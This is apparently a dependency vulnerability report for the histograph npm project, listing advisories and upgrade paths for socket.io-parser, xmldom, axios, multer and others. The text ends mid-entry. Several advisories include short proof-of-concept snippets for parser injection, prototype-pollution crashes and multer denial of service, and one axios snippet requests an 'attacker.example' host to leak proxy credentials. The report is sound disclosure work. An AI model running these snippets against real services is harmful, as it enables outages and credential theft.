Vulnerabilities

135 via 275 paths

Dependencies

445

Source

GitHub

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Severity
  • 6
  • 63
  • 62
  • 4
Status
  • 135
  • 0
  • 0

critical severity

Improper Input Validation

  • Vulnerable module: socket.io-parser
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-parser@2.3.1
    Remediation: Upgrade to socket.io@2.2.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-adapter@0.5.0 socket.io-parser@2.3.1
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 socket.io-parser@2.3.1
    Remediation: Upgrade to socket.io@2.2.0.

Overview

socket.io-parser is a socket.io protocol parser

Affected versions of this package are vulnerable to Improper Input Validation. when parsing attachments containing untrusted user input. Attackers can overwrite the _placeholder object to place references to functions in query objects.

PoC

const decoder = new Decoder();

decoder.on("decoded", (packet) => {
  console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})

decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));

Remediation

Upgrade socket.io-parser to version 3.3.3, 3.4.2, 4.0.5, 4.2.1 or higher.

References

critical severity

Improper Input Validation

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Improper Input Validation due to parsing XML that is not well-formed, and contains multiple top-level elements. All the root nodes are being added to the childNodes collection of the Document, without reporting or throwing any error.

Workarounds

One of the following approaches might help, depending on your use case:

  1. Instead of searching for elements in the whole DOM, only search in the documentElement.

  2. Reject a document with a document that has more than 1 childNode.

PoC

var DOMParser = require('xmldom').DOMParser;
var xmlData = '<?xml version="1.0" encoding="UTF-8"?>\n' +
'<root>\n' +
'  <branch girth="large">\n' +
'    <leaf color="green" />\n' +
'  </branch>\n' +
'</root>\n' +
'<root>\n' +
'  <branch girth="twig">\n' +
'    <leaf color="gold" />\n' +
'  </branch>\n' +
'</root>\n';
var xmlDOM = new DOMParser().parseFromString(xmlData);
console.log(xmlDOM.toString());

This will result with the following output:

<?xml version="1.0" encoding="UTF-8"?><root>
  <branch girth="large">
    <leaf color="green"/>
  </branch>
</root>
<root>
  <branch girth="twig">
    <leaf color="gold"/>
  </branch>
</root>

Remediation

There is no fixed version for xmldom.

References

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: request@2.88.2 and seraph@0.15.3

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2 form-data@2.3.3
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2 form-data@2.3.3
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2 form-data@2.3.3

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

critical severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.0.1.

Overview

Affected versions of this package are vulnerable to Uncaught Exception in makeMiddleware, when processing a file upload request. An attacker can cause the application to crash by sending a request with a field name containing an empty string.

Remediation

Upgrade multer to version 2.0.1 or higher.

References

critical severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

  • The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
  • The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.30.3.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity
new

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: compression
  • Introduced through: compression@1.6.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph compression@1.6.2
    Remediation: Upgrade to compression@1.8.2.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via improper cleanup of the zlib compression stream when a client disconnects before the response finishes. The onResponseClose handler was absent, leaving native zlib handles unreleased whenever a connection closed mid-response. An attacker can exhaust server memory or file-descriptor resources by repeatedly opening connections and disconnecting before response completion, causing a denial of service.

Remediation

Upgrade compression to version 1.8.2 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: linkify-it
  • Introduced through: jstransformer-markdown-it@2.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph jstransformer-markdown-it@2.1.0 markdown-it@8.4.2 linkify-it@2.2.0

Overview

linkify-it is a Links recognition library with FULL unicode support

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the mailto: validator scan-loop on attacker-supplied text. An attacker can cause excessive CPU consumption by submitting specially crafted input that triggers repeated scanning of the remaining text.

Remediation

Upgrade linkify-it to version 5.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: linkify-it
  • Introduced through: jstransformer-markdown-it@2.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph jstransformer-markdown-it@2.1.0 markdown-it@8.4.2 linkify-it@2.2.0

Overview

linkify-it is a Links recognition library with FULL unicode support

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to quadratic algorithmic complexity in the match function. An attacker can exhaust CPU resources and cause significant delays in processing by submitting specially crafted input containing a large number of email-like or link-like strings.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade linkify-it to version 5.0.1 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: minimatch
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 cli@0.6.6 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 glob@3.1.21 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 minimatch@2.0.10

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the matchOne function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 cli@0.6.6 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 glob@3.1.21 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 minimatch@2.0.10

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.

References

high severity
new

Denial of Service (DoS)

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.3.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via the appendField call in make-middleware.js when processing multipart form field names. An attacker can send a request containing an invalid field name that causes appendField to throw an uncaught exception, crashing the Node.js process. The fix wraps the call in a try/catch and rejects the request with an INVALID_FIELD_NAME error instead of propagating the exception.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.3.0 or higher.

References

high severity

Incomplete Cleanup

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.1.0.

Overview

Affected versions of this package are vulnerable to Incomplete Cleanup in the makeMiddleware() function in make-middleware.js. An attacker can cause resource exhaustion by sending malformed requests.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.1.0 or higher.

References

high severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.0.0.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.

Note:

This is only exploitable if the server is handling file uploads.

Remediation

Upgrade multer to version 2.0.0 or higher.

References

high severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.1.0.

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the makeMiddleware() function, when dropping a connection during file upload. An attacker can cause resource exhaustion.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.1.0 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.0.0.

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

Remediation

Upgrade multer to version 2.0.0 or higher.

References

high severity
new

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.3.0.

Overview

Affected versions of this package are vulnerable to Uncaught Exception via the appendField call in make-middleware.js when processing multipart form field names. An attacker submitting a malformed or invalid field name in a multipart upload request causes an unhandled exception that crashes the process. The fix wraps the appendField call in a try/catch and aborts with an INVALID_FIELD_NAME error code instead of propagating the exception.

Remediation

Upgrade multer to version 2.3.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.1.1.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion. An attacker can cause the application to crash or become unresponsive by sending malformed requests that trigger uncontrolled recursion, potentially leading to a stack overflow.

Remediation

Upgrade multer to version 2.1.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: multer@0.1.8, request@2.88.2 and others

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8 qs@1.2.2
    Remediation: Upgrade to multer@1.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2 qs@6.5.5
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2 qs@6.5.5
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2 qs@6.5.5

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

